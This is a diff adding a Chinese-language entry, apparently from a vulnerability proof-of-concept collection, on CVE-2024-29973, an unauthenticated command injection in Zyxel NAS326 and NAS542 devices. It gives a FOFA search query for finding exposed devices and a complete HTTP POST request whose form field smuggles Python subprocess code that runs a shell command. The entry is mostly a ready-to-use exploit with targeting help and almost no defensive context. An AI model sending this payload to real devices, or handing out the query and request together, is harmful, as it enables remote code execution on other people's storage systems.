6.21更新漏洞

Zyxel-NAS设备setCookie未授权命令注入漏洞(CVE-2024-29973).md

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+## Zyxel-NAS设备setCookie未授权命令注入漏洞(CVE-2024-29973)
+
+Zyxel NAS326 V5.21(AAZF.17)C0之前版本、NAS542 V5.21(ABAG.14)C0之前版本存在操作系统命令注入漏洞，该漏洞源于setCookie参数中存在命令注入漏洞，从而导致未经身份验证的远程攻击者可通过HTTP POST请求来执行某些操作系统 (OS) 命令。
+
+## fofa
+
+```
+body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"
+```
+
+## poc
+
+```
+POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
+Host: your-ip
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHHaZAYecVOf5sfa6
+ 
+------WebKitFormBoundaryHHaZAYecVOf5sfa6
+Content-Disposition: form-data; name="c0"
+ 
+storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("id", shell=True)#
+------WebKitFormBoundaryHHaZAYecVOf5sfa6--
+```
+
+![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406211838104.png)